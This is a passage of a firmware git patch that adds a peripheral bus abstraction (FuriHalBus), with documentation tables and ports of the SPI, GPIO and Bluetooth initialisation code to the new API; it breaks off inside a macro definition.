@@ -483,7 +486,7 @@ int32_t desktop_srv(void* p) { view_port_enabled_set(desktop->dummy_mode_icon_viewport, desktop->settings.dummy_mode); - desktop_toggle_clock_view(desktop, desktop->settings.display_clock); + desktop_clock_toggle_view(desktop, desktop->settings.display_clock); desktop_main_set_dummy_mode_state(desktop->main_view, desktop->settings.dummy_mode); animation_manager_set_dummy_mode_state( From 3de856f8d53ed45b56dd21674927898552bbdd2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Tue, 30 May 2023 01:05:57 +0900 Subject: [PATCH 081/100] [FL-3295] FuriHal: add bus abstraction (#2614) * FuriHal: add bus abstraction and port some subsystem to it * Make PVS happy, cleanup code * Update API symbols for f18 * F18: backport bus changes from f7 * Revert to STOP2 sleep mode * Fix downgrading the firmware via updater * Port iButton TIM1 to furi_hal_bus * Port Infrared TIM1 and TIM2 to furi_hal_bus * Just enable the timer bus * Port furi_hal_pwm to bus API * Fix include statement * Port furi_hal_rfid to bus API * Port furi_hal_subghz and others to bus API * Remove unneeded include * Improve furi_hal_infrared defines * Reset LPTIM1 via furi_hal_bus API * Crash when trying to enable an already enabled peripheral * Better defines * Improved checks * Lots of macro wrappers * Copy spi changes for f18 * Fix crashes in LFRFID system * Fix crashes in NFC system * Improve comments * Create FuriHalBus.md * Update FuriHalBus.md * Fix crash when launching updater * Documentation: couple small fixes in FuriHalBus * FuriHal: fix copypaste in furi_hal_rfid_tim_reset * FuriHal: reset radio core related peripherals on restart * FuriHalBus: is enabled routine and bug fix for uart * RFID HAL: accomodate furi hal bus Co-authored-by: Georgii Surkov Co-authored-by: Georgii Surkov <37121527+gsurkov@users.noreply.github.com> Co-authored-by: SG --- .../scenes/lfrfid_debug_app_scene_tune.c | 5 +- documentation/FuriHalBus.md | 113 +++++++ firmware/targets/f18/api_symbols.csv | 13 +- firmware/targets/f18/furi_hal/furi_hal.c | 5 + .../targets/f18/furi_hal/furi_hal_resources.c | 14 + .../f18/furi_hal/furi_hal_spi_config.c | 31 +- firmware/targets/f7/api_symbols.csv | 27 +- firmware/targets/f7/furi_hal/furi_hal.c | 5 + firmware/targets/f7/furi_hal/furi_hal_bt.c | 11 + firmware/targets/f7/furi_hal/furi_hal_bus.c | 302 ++++++++++++++++++ firmware/targets/f7/furi_hal/furi_hal_bus.h | 112 +++++++ firmware/targets/f7/furi_hal/furi_hal_clock.c | 84 ----- .../targets/f7/furi_hal/furi_hal_crypto.c | 10 +- firmware/targets/f7/furi_hal/furi_hal_dma.c | 14 + firmware/targets/f7/furi_hal/furi_hal_dma.h | 15 + firmware/targets/f7/furi_hal/furi_hal_flash.c | 22 +- .../targets/f7/furi_hal/furi_hal_i2c_config.c | 32 +- .../targets/f7/furi_hal/furi_hal_ibutton.c | 12 +- .../targets/f7/furi_hal/furi_hal_idle_timer.h | 8 +- .../targets/f7/furi_hal/furi_hal_infrared.c | 300 +++++++++-------- firmware/targets/f7/furi_hal/furi_hal_pwm.c | 19 +- .../targets/f7/furi_hal/furi_hal_random.c | 9 +- .../targets/f7/furi_hal/furi_hal_resources.c | 14 + firmware/targets/f7/furi_hal/furi_hal_rfid.c | 109 ++----- firmware/targets/f7/furi_hal/furi_hal_rfid.h | 60 +--- firmware/targets/f7/furi_hal/furi_hal_rtc.c | 2 +- .../targets/f7/furi_hal/furi_hal_speaker.c | 9 +- .../targets/f7/furi_hal/furi_hal_spi_config.c | 31 +- .../targets/f7/furi_hal/furi_hal_spi_types.h | 2 - .../targets/f7/furi_hal/furi_hal_subghz.c | 9 +- firmware/targets/f7/furi_hal/furi_hal_uart.c | 20 +- firmware/targets/f7/furi_hal/furi_hal_usb.c | 9 + firmware/targets/f7/src/update.c | 6 + firmware/targets/furi_hal_include/furi_hal.h | 2 + .../furi_hal_include/furi_hal_random.h | 3 + lib/digital_signal/digital_signal.c | 4 +- lib/lfrfid/lfrfid_raw_worker.c | 4 +- lib/lfrfid/lfrfid_worker_modes.c | 9 +- lib/lfrfid/tools/t5577.c | 9 +- lib/nfc/parsers/opal.c | 4 +- lib/pulse_reader/pulse_reader.c | 3 + 41 files changed, 944 insertions(+), 528 deletions(-) create mode 100644 documentation/FuriHalBus.md create mode 100644 firmware/targets/f7/furi_hal/furi_hal_bus.c create mode 100644 firmware/targets/f7/furi_hal/furi_hal_bus.h create mode 100644 firmware/targets/f7/furi_hal/furi_hal_dma.c create mode 100644 firmware/targets/f7/furi_hal/furi_hal_dma.h diff --git a/applications/debug/lfrfid_debug/scenes/lfrfid_debug_app_scene_tune.c b/applications/debug/lfrfid_debug/scenes/lfrfid_debug_app_scene_tune.c index c7f3bf24f..74c53ae6d 100644 --- a/applications/debug/lfrfid_debug/scenes/lfrfid_debug_app_scene_tune.c +++ b/applications/debug/lfrfid_debug/scenes/lfrfid_debug_app_scene_tune.c @@ -14,9 +14,7 @@ void lfrfid_debug_scene_tune_on_enter(void* context) { furi_hal_rfid_comp_set_callback(comparator_trigger_callback, app); furi_hal_rfid_comp_start(); - furi_hal_rfid_pins_read(); - furi_hal_rfid_tim_read(125000, 0.5); - furi_hal_rfid_tim_read_start(); + furi_hal_rfid_tim_read_start(125000, 0.5); view_dispatcher_switch_to_view(app->view_dispatcher, LfRfidDebugViewTune); } @@ -43,6 +41,5 @@ void lfrfid_debug_scene_tune_on_exit(void* context) { furi_hal_gpio_init_simple(&gpio_ext_pa7, GpioModeAnalog); furi_hal_rfid_tim_read_stop(); - furi_hal_rfid_tim_reset(); furi_hal_rfid_pins_reset(); } diff --git a/documentation/FuriHalBus.md b/documentation/FuriHalBus.md new file mode 100644 index 000000000..5c754018b --- /dev/null +++ b/documentation/FuriHalBus.md @@ -0,0 +1,113 @@ +# Using FuriHalBus API + +## Basic info + +On system startup, most of the peripheral devices are under reset and not clocked by default. This is done to reduce power consumption and to guarantee that the device will always be in the same state before use. +Some crucial peripherals are enabled right away by the system, others must be explicitly enabled by the user code. + +**NOTE:** Here and afterwards the word *"system"* refers to any code belonging to the operating system, hardware drivers or built-in applications. + +To **ENABLE** a peripheral, call `furi_hal_bus_enable()`. At the time of the call, the peripheral in question MUST be disabled, otherwise a crash will occur to indicate improper use. This means that any given peripheral cannot be enabled twice or more without disabling it first. + +To **DISABLE** a peripheral, call `furi_hal_bus_disable()`. Likewise, the peripheral in question MUST be enabled, otherwise a crash will occur. + +To **RESET** a peripheral, call `furi_hal_bus_reset()`. The peripheral in question MUST be enabled, otherwise a crash will occur. This method is used whenever it is necessary to reset all the peripheral's registers to their initial states without disabling it. + +## Peripherals + +Built-in peripherals are divided into three categories: +- Enabled by the system on startup, never disabled; +- Enabled and disabled by the system on demand; +- Enabled and disabled by the user code. + +### Always-on peripherals + +Below is the list of peripherals that are enabled by the system. The user code must NEVER attempt to disable them. If a corresponding API is provided, the user code must employ it in order to access the peripheral. + +*Table 1* - Peripherals enabled by the system + +| Peripheral | Enabled at | +| :-----------: | :-----------------------: | +| DMA1 | `furi_hal_dma.c` | +| DMA2 | -- | +| DMAMUX | -- | +| GPIOA | `furi_hal_resources.c` | +| GPIOB | -- | +| GPIOC | -- | +| GPIOD | -- | +| GPIOE | -- | +| GPIOH | -- | +| PKA | `furi_hal_bt.c` | +| AES2 | -- | +| HSEM | -- | +| IPCC | -- | +| FLASH | enabled by hardware | + +### On-demand system peripherals + +Below is the list of peripherals that are enabled and disabled by the system. The user code must avoid using them directly, preferring the respective APIs instead. + +When not using the API, these peripherals MUST be enabled by the user code and then disabled when not needed anymore. + +*Table 2* - Peripherals enabled and disabled by the system + +| Peripheral | API header file | +| :-----------: | :-------------------: | +| RNG | `furi_hal_random.h` | +| SPI1 | `furi_hal_spi.h` | +| SPI2 | -- | +| I2C1 | `furi_hal_i2c.h` | +| I2C3 | -- | +| USART1 | `furi_hal_uart.h` | +| LPUART1 | -- | +| USB | `furi_hal_usb.h` | + +### On-demand shared peripherals + +Below is the list of peripherals that are not enabled by default and MUST be enabled by the user code each time it accesses them. + +Note that some of these peripherals may also be used by the system to implement its certain features. +The system will take over any given peripheral only when the respective feature is in use. + +*Table 3* - Peripherals enabled and disabled by user + +| Peripheral | System | Purpose | +| :-----------: | :-------: | ------------------------------------- | +| CRC | | | +| TSC | | | +| ADC | | | +| QUADSPI | | | +| TIM1 | yes | subghz, lfrfid, nfc, infrared, etc... | +| TIM2 | yes | -- | +| TIM16 | yes | speaker | +| TIM17 | | | +| LPTIM1 | yes | tickless idle timer | +| LPTIM2 | yes | pwm | +| SAI1 | | | +| LCD | | | + + +## DMA + +The DMA1,2 peripherals are a special case in that they have multiple independent channels. Some of the channels may be in use by the system. + +Below is the list of DMA channels and their usage by the system. + +*Table 4* - DMA channels + +| DMA | Channel | System | Purpose | +| :---: | :-------: | :-------: | ------------------------- | +| DMA1 | 1 | yes | digital signal | +| -- | 2 | yes | -- | +| -- | 3 | | | +| -- | 4 | yes | pulse reader | +| -- | 5 | | | +| -- | 6 | | | +| -- | 7 | | | +| DMA2 | 1 | yes | infrared, lfrfid, subghz | +| -- | 2 | yes | -- | +| -- | 3 | yes | SPI | +| -- | 4 | yes | SPI | +| -- | 5 | | | +| -- | 6 | | | +| -- | 7 | | | diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 08aa69133..92c8697aa 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,27.1,, +Version,+,28.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -40,8 +40,10 @@ Header,-,firmware/targets/f18/furi_hal/furi_hal_power_calibration.h,, Header,+,firmware/targets/f18/furi_hal/furi_hal_resources.h,, Header,+,firmware/targets/f18/furi_hal/furi_hal_spi_config.h,, Header,+,firmware/targets/f18/furi_hal/furi_hal_target_hw.h,, +Header,+,firmware/targets/f7/furi_hal/furi_hal_bus.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_clock.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_console.h,, +Header,+,firmware/targets/f7/furi_hal/furi_hal_dma.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_flash.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_gpio.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_i2c_config.h,, @@ -873,6 +875,12 @@ Function,+,furi_hal_bt_stop_tone_tx,void, Function,+,furi_hal_bt_unlock_core2,void, Function,+,furi_hal_bt_update_battery_level,void,uint8_t Function,+,furi_hal_bt_update_power_state,void, +Function,+,furi_hal_bus_deinit_early,void, +Function,+,furi_hal_bus_disable,void,FuriHalBus +Function,+,furi_hal_bus_enable,void,FuriHalBus +Function,+,furi_hal_bus_init_early,void, +Function,+,furi_hal_bus_is_enabled,_Bool,FuriHalBus +Function,+,furi_hal_bus_reset,void,FuriHalBus Function,+,furi_hal_cdc_get_ctrl_line_state,uint8_t,uint8_t Function,+,furi_hal_cdc_get_port_settings,usb_cdc_line_coding*,uint8_t Function,+,furi_hal_cdc_receive,int32_t,"uint8_t, uint8_t*, uint16_t" @@ -915,6 +923,8 @@ Function,+,furi_hal_debug_disable,void, Function,+,furi_hal_debug_enable,void, Function,+,furi_hal_debug_is_gdb_session_active,_Bool, Function,-,furi_hal_deinit_early,void, +Function,+,furi_hal_dma_deinit_early,void, +Function,+,furi_hal_dma_init_early,void, Function,-,furi_hal_flash_erase,void,uint8_t Function,-,furi_hal_flash_get_base,size_t, Function,-,furi_hal_flash_get_cycles_count,size_t, @@ -1033,6 +1043,7 @@ Function,+,furi_hal_pwm_start,void,"FuriHalPwmOutputId, uint32_t, uint8_t" Function,+,furi_hal_pwm_stop,void,FuriHalPwmOutputId Function,+,furi_hal_random_fill_buf,void,"uint8_t*, uint32_t" Function,+,furi_hal_random_get,uint32_t, +Function,+,furi_hal_random_init,void, Function,+,furi_hal_region_get,const FuriHalRegion*, Function,+,furi_hal_region_get_band,const FuriHalRegionBand*,uint32_t Function,+,furi_hal_region_get_name,const char*, diff --git a/firmware/targets/f18/furi_hal/furi_hal.c b/firmware/targets/f18/furi_hal/furi_hal.c index 4064dd647..5f4e6165d 100644 --- a/firmware/targets/f18/furi_hal/furi_hal.c +++ b/firmware/targets/f18/furi_hal/furi_hal.c @@ -9,6 +9,8 @@ void furi_hal_init_early() { furi_hal_cortex_init_early(); furi_hal_clock_init_early(); + furi_hal_bus_init_early(); + furi_hal_dma_init_early(); furi_hal_resources_init_early(); furi_hal_os_init(); furi_hal_spi_config_init_early(); @@ -22,12 +24,15 @@ void furi_hal_deinit_early() { furi_hal_i2c_deinit_early(); furi_hal_spi_config_deinit_early(); furi_hal_resources_deinit_early(); + furi_hal_dma_deinit_early(); + furi_hal_bus_deinit_early(); furi_hal_clock_deinit_early(); } void furi_hal_init() { furi_hal_mpu_init(); furi_hal_clock_init(); + furi_hal_random_init(); furi_hal_console_init(); furi_hal_rtc_init(); furi_hal_interrupt_init(); diff --git a/firmware/targets/f18/furi_hal/furi_hal_resources.c b/firmware/targets/f18/furi_hal/furi_hal_resources.c index 6db483dbc..32c9b619c 100644 --- a/firmware/targets/f18/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f18/furi_hal/furi_hal_resources.c @@ -1,4 +1,5 @@ #include +#include #include #include @@ -118,6 +119,13 @@ static void furi_hal_resources_init_input_pins(GpioMode mode) { } void furi_hal_resources_init_early() { + furi_hal_bus_enable(FuriHalBusGPIOA); + furi_hal_bus_enable(FuriHalBusGPIOB); + furi_hal_bus_enable(FuriHalBusGPIOC); + furi_hal_bus_enable(FuriHalBusGPIOD); + furi_hal_bus_enable(FuriHalBusGPIOE); + furi_hal_bus_enable(FuriHalBusGPIOH); + furi_hal_resources_init_input_pins(GpioModeInput); // SD Card stepdown control @@ -162,6 +170,12 @@ void furi_hal_resources_init_early() { void furi_hal_resources_deinit_early() { furi_hal_resources_init_input_pins(GpioModeAnalog); + furi_hal_bus_disable(FuriHalBusGPIOA); + furi_hal_bus_disable(FuriHalBusGPIOB); + furi_hal_bus_disable(FuriHalBusGPIOC); + furi_hal_bus_disable(FuriHalBusGPIOD); + furi_hal_bus_disable(FuriHalBusGPIOE); + furi_hal_bus_disable(FuriHalBusGPIOH); } void furi_hal_resources_init() { diff --git a/firmware/targets/f18/furi_hal/furi_hal_spi_config.c b/firmware/targets/f18/furi_hal/furi_hal_spi_config.c index 0fbe55e2a..5ac84906f 100644 --- a/firmware/targets/f18/furi_hal/furi_hal_spi_config.c +++ b/firmware/targets/f18/furi_hal/furi_hal_spi_config.c @@ -1,5 +1,6 @@ #include #include +#include #include #include @@ -96,28 +97,17 @@ void furi_hal_spi_config_init() { static void furi_hal_spi_bus_r_event_callback(FuriHalSpiBus* bus, FuriHalSpiBusEvent event) { if(event == FuriHalSpiBusEventInit) { furi_hal_spi_bus_r_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); bus->current_handle = NULL; } else if(event == FuriHalSpiBusEventDeinit) { furi_mutex_free(furi_hal_spi_bus_r_mutex); - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1); - LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); } else if(event == FuriHalSpiBusEventLock) { furi_check(furi_mutex_acquire(furi_hal_spi_bus_r_mutex, FuriWaitForever) == FuriStatusOk); } else if(event == FuriHalSpiBusEventUnlock) { furi_check(furi_mutex_release(furi_hal_spi_bus_r_mutex) == FuriStatusOk); } else if(event == FuriHalSpiBusEventActivate) { - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FuriHalBusSPI1); } else if(event == FuriHalSpiBusEventDeactivate) { - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusSPI1); } } @@ -131,28 +121,17 @@ FuriMutex* furi_hal_spi_bus_d_mutex = NULL; static void furi_hal_spi_bus_d_event_callback(FuriHalSpiBus* bus, FuriHalSpiBusEvent event) { if(event == FuriHalSpiBusEventInit) { furi_hal_spi_bus_d_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); bus->current_handle = NULL; } else if(event == FuriHalSpiBusEventDeinit) { furi_mutex_free(furi_hal_spi_bus_d_mutex); - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); } else if(event == FuriHalSpiBusEventLock) { furi_check(furi_mutex_acquire(furi_hal_spi_bus_d_mutex, FuriWaitForever) == FuriStatusOk); } else if(event == FuriHalSpiBusEventUnlock) { furi_check(furi_mutex_release(furi_hal_spi_bus_d_mutex) == FuriStatusOk); } else if(event == FuriHalSpiBusEventActivate) { - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FuriHalBusSPI2); } else if(event == FuriHalSpiBusEventDeactivate) { - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusSPI2); } } diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 1055cb2bf..4b48949d9 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,27.1,, +Version,+,28.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -36,8 +36,10 @@ Header,+,applications/services/notification/notification_messages.h,, Header,+,applications/services/power/power_service/power.h,, Header,+,applications/services/rpc/rpc_app.h,, Header,+,applications/services/storage/storage.h,, +Header,+,firmware/targets/f7/furi_hal/furi_hal_bus.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_clock.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_console.h,, +Header,+,firmware/targets/f7/furi_hal/furi_hal_dma.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_flash.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_gpio.h,, Header,+,firmware/targets/f7/furi_hal/furi_hal_i2c_config.h,, @@ -1065,6 +1067,12 @@ Function,+,furi_hal_bt_stop_tone_tx,void, Function,+,furi_hal_bt_unlock_core2,void, Function,+,furi_hal_bt_update_battery_level,void,uint8_t Function,+,furi_hal_bt_update_power_state,void, +Function,+,furi_hal_bus_deinit_early,void, +Function,+,furi_hal_bus_disable,void,FuriHalBus +Function,+,furi_hal_bus_enable,void,FuriHalBus +Function,+,furi_hal_bus_init_early,void, +Function,+,furi_hal_bus_is_enabled,_Bool,FuriHalBus +Function,+,furi_hal_bus_reset,void,FuriHalBus Function,+,furi_hal_cdc_get_ctrl_line_state,uint8_t,uint8_t Function,+,furi_hal_cdc_get_port_settings,usb_cdc_line_coding*,uint8_t Function,+,furi_hal_cdc_receive,int32_t,"uint8_t, uint8_t*, uint16_t" @@ -1107,6 +1115,8 @@ Function,+,furi_hal_debug_disable,void, Function,+,furi_hal_debug_enable,void, Function,+,furi_hal_debug_is_gdb_session_active,_Bool, Function,-,furi_hal_deinit_early,void, +Function,+,furi_hal_dma_deinit_early,void, +Function,+,furi_hal_dma_init_early,void, Function,-,furi_hal_flash_erase,void,uint8_t Function,-,furi_hal_flash_get_base,size_t, Function,-,furi_hal_flash_get_cycles_count,size_t, @@ -1273,6 +1283,7 @@ Function,+,furi_hal_pwm_start,void,"FuriHalPwmOutputId, uint32_t, uint8_t" Function,+,furi_hal_pwm_stop,void,FuriHalPwmOutputId Function,+,furi_hal_random_fill_buf,void,"uint8_t*, uint32_t" Function,+,furi_hal_random_get,uint32_t, +Function,+,furi_hal_random_init,void, Function,+,furi_hal_region_get,const FuriHalRegion*, Function,+,furi_hal_region_get_band,const FuriHalRegionBand*,uint32_t Function,+,furi_hal_region_get_name,const char*, @@ -1284,31 +1295,23 @@ Function,-,furi_hal_resources_deinit_early,void, Function,+,furi_hal_resources_get_ext_pin_number,int32_t,const GpioPin* Function,-,furi_hal_resources_init,void, Function,-,furi_hal_resources_init_early,void, -Function,+,furi_hal_rfid_change_read_config,void,"float, float" Function,+,furi_hal_rfid_comp_set_callback,void,"FuriHalRfidCompCallback, void*" Function,+,furi_hal_rfid_comp_start,void, Function,+,furi_hal_rfid_comp_stop,void, Function,-,furi_hal_rfid_init,void, Function,+,furi_hal_rfid_pin_pull_pulldown,void, Function,+,furi_hal_rfid_pin_pull_release,void, -Function,+,furi_hal_rfid_pins_emulate,void, -Function,+,furi_hal_rfid_pins_read,void, Function,+,furi_hal_rfid_pins_reset,void, -Function,+,furi_hal_rfid_set_emulate_period,void,uint32_t -Function,+,furi_hal_rfid_set_emulate_pulse,void,uint32_t Function,+,furi_hal_rfid_set_read_period,void,uint32_t Function,+,furi_hal_rfid_set_read_pulse,void,uint32_t -Function,+,furi_hal_rfid_tim_emulate,void,float Function,+,furi_hal_rfid_tim_emulate_dma_start,void,"uint32_t*, uint32_t*, size_t, FuriHalRfidDMACallback, void*" Function,+,furi_hal_rfid_tim_emulate_dma_stop,void, -Function,+,furi_hal_rfid_tim_emulate_start,void,"FuriHalRfidEmulateCallback, void*" -Function,+,furi_hal_rfid_tim_emulate_stop,void, -Function,+,furi_hal_rfid_tim_read,void,"float, float" Function,+,furi_hal_rfid_tim_read_capture_start,void,"FuriHalRfidReadCaptureCallback, void*" Function,+,furi_hal_rfid_tim_read_capture_stop,void, -Function,+,furi_hal_rfid_tim_read_start,void, +Function,+,furi_hal_rfid_tim_read_continue,void, +Function,+,furi_hal_rfid_tim_read_pause,void, +Function,+,furi_hal_rfid_tim_read_start,void,"float, float" Function,+,furi_hal_rfid_tim_read_stop,void, -Function,+,furi_hal_rfid_tim_reset,void, Function,+,furi_hal_rtc_datetime_to_timestamp,uint32_t,FuriHalRtcDateTime* Function,-,furi_hal_rtc_deinit_early,void, Function,+,furi_hal_rtc_get_boot_mode,FuriHalRtcBootMode, diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index 1b710bb96..2062645cd 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -9,6 +9,8 @@ void furi_hal_init_early() { furi_hal_cortex_init_early(); furi_hal_clock_init_early(); + furi_hal_bus_init_early(); + furi_hal_dma_init_early(); furi_hal_resources_init_early(); furi_hal_os_init(); furi_hal_spi_config_init_early(); @@ -22,12 +24,15 @@ void furi_hal_deinit_early() { furi_hal_i2c_deinit_early(); furi_hal_spi_config_deinit_early(); furi_hal_resources_deinit_early(); + furi_hal_dma_deinit_early(); + furi_hal_bus_deinit_early(); furi_hal_clock_deinit_early(); } void furi_hal_init() { furi_hal_mpu_init(); furi_hal_clock_init(); + furi_hal_random_init(); furi_hal_console_init(); furi_hal_rtc_init(); furi_hal_interrupt_init(); diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c index 048a8b309..cec6b8204 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c @@ -7,6 +7,7 @@ #include #include #include +#include #include "battery_service.h" #include @@ -80,6 +81,11 @@ FuriHalBtProfileConfig profile_config[FuriHalBtProfileNumber] = { FuriHalBtProfileConfig* current_profile = NULL; void furi_hal_bt_init() { + furi_hal_bus_enable(FuriHalBusHSEM); + furi_hal_bus_enable(FuriHalBusIPCC); + furi_hal_bus_enable(FuriHalBusAES2); + furi_hal_bus_enable(FuriHalBusPKA); + if(!furi_hal_bt_core2_mtx) { furi_hal_bt_core2_mtx = furi_mutex_alloc(FuriMutexTypeNormal); furi_assert(furi_hal_bt_core2_mtx); @@ -256,6 +262,11 @@ void furi_hal_bt_reinit() { furi_delay_ms(100); ble_glue_thread_stop(); + furi_hal_bus_disable(FuriHalBusHSEM); + furi_hal_bus_disable(FuriHalBusIPCC); + furi_hal_bus_disable(FuriHalBusAES2); + furi_hal_bus_disable(FuriHalBusPKA); + FURI_LOG_I(TAG, "Start BT initialization"); furi_hal_bt_init(); diff --git a/firmware/targets/f7/furi_hal/furi_hal_bus.c b/firmware/targets/f7/furi_hal/furi_hal_bus.c new file mode 100644 index 000000000..0a07e9f9e --- /dev/null +++ b/firmware/targets/f7/furi_hal/furi_hal_bus.c @@ -0,0 +1,302 @@ +#include +#include + +#include + +/* Bus bitmask definitions */ +#define FURI_HAL_BUS_IGNORE (0x0U) + +#define FURI_HAL_BUS_AHB1_GRP1 \ + (LL_AHB1_GRP1_PERIPH_DMA1 | LL_AHB1_GRP1_PERIPH_DMA2 | LL_AHB1_GRP1_PERIPH_DMAMUX1 | \ + LL_AHB1_GRP1_PERIPH_CRC | LL_AHB1_GRP1_PERIPH_TSC) + +#if defined(ADC_SUPPORT_5_MSPS) +#define FURI_HAL_BUS_AHB2_GRP1 \ + (LL_AHB2_GRP1_PERIPH_GPIOA | LL_AHB2_GRP1_PERIPH_GPIOB | LL_AHB2_GRP1_PERIPH_GPIOC | \ + LL_AHB2_GRP1_PERIPH_GPIOD | LL_AHB2_GRP1_PERIPH_GPIOE | LL_AHB2_GRP1_PERIPH_GPIOH | \ + LL_AHB2_GRP1_PERIPH_ADC | LL_AHB2_GRP1_PERIPH_AES1) + +#define FURI_HAL_BUS_APB2_GRP1 \ + (LL_APB2_GRP1_PERIPH_TIM1 | LL_APB2_GRP1_PERIPH_SPI1 | LL_APB2_GRP1_PERIPH_USART1 | \ + LL_APB2_GRP1_PERIPH_TIM16 | LL_APB2_GRP1_PERIPH_TIM17 | LL_APB2_GRP1_PERIPH_SAI1) +#else +#define FURI_HAL_BUS_AHB2_GRP1 \ + (LL_AHB2_GRP1_PERIPH_GPIOA | LL_AHB2_GRP1_PERIPH_GPIOB | LL_AHB2_GRP1_PERIPH_GPIOC | \ + LL_AHB2_GRP1_PERIPH_GPIOD | LL_AHB2_GRP1_PERIPH_GPIOE | LL_AHB2_GRP1_PERIPH_GPIOH | \ + LL_AHB2_GRP1_PERIPH_AES1) + +#define FURI_HAL_BUS_APB2_GRP1 \ + (LL_APB2_GRP1_PERIPH_ADC | LL_APB2_GRP1_PERIPH_TIM1 | LL_APB2_GRP1_PERIPH_SPI1 | \ + LL_APB2_GRP1_PERIPH_USART1 | LL_APB2_GRP1_PERIPH_TIM16 | LL_APB2_GRP1_PERIPH_TIM17 | \ + LL_APB2_GRP1_PERIPH_SAI1) +#endif + +#define FURI_HAL_BUS_AHB3_GRP1 \ + (LL_AHB3_GRP1_PERIPH_QUADSPI | LL_AHB3_GRP1_PERIPH_PKA | LL_AHB3_GRP1_PERIPH_AES2 | \ + LL_AHB3_GRP1_PERIPH_RNG | LL_AHB3_GRP1_PERIPH_HSEM | LL_AHB3_GRP1_PERIPH_IPCC) +// LL_AHB3_GRP1_PERIPH_FLASH enabled by default + +#define FURI_HAL_BUS_APB1_GRP1 \ + (LL_APB1_GRP1_PERIPH_TIM2 | LL_APB1_GRP1_PERIPH_LCD | LL_APB1_GRP1_PERIPH_RTCAPB | \ + LL_APB1_GRP1_PERIPH_SPI2 | LL_APB1_GRP1_PERIPH_I2C1 | LL_APB1_GRP1_PERIPH_I2C3 | \ + LL_APB1_GRP1_PERIPH_CRS | LL_APB1_GRP1_PERIPH_USB | LL_APB1_GRP1_PERIPH_LPTIM1) + +#define FURI_HAL_BUS_APB1_GRP2 (LL_APB1_GRP2_PERIPH_LPUART1 | LL_APB1_GRP2_PERIPH_LPTIM2) +#define FURI_HAL_BUS_APB3_GRP1 (LL_APB3_GRP1_PERIPH_RF) + +/* Test macro definitions */ +#define FURI_HAL_BUS_IS_ALL_CLEAR(reg, value) (READ_BIT((reg), (value)) == 0UL) +#define FURI_HAL_BUS_IS_ALL_SET(reg, value) (READ_BIT((reg), (value)) == (value)) + +#define FURI_HAL_BUS_IS_CLOCK_ENABLED(bus, value, ...) \ + (FURI_HAL_BUS_IS_ALL_SET(RCC->bus##ENR##__VA_ARGS__, (value))) +#define FURI_HAL_BUS_IS_CLOCK_DISABLED(bus, value, ...) \ + (FURI_HAL_BUS_IS_ALL_CLEAR(RCC->bus##ENR##__VA_ARGS__, (value))) + +#define FURI_HAL_BUS_IS_RESET_ASSERTED(bus, value, ...) \ + (FURI_HAL_BUS_IS_ALL_SET(RCC->bus##RSTR##__VA_ARGS__, (value))) +#define FURI_HAL_BUS_IS_RESET_DEASSERTED(bus, value, ...) \ + (FURI_HAL_BUS_IS_ALL_CLEAR(RCC->bus##RSTR##__VA_ARGS__, (value))) + +#define FURI_HAL_BUS_IS_PERIPH_ENABLED(bus, value, ...) \ + (FURI_HAL_BUS_IS_RESET_DEASSERTED(bus, (value), __VA_ARGS__) && \ + FURI_HAL_BUS_IS_CLOCK_ENABLED(bus, (value), 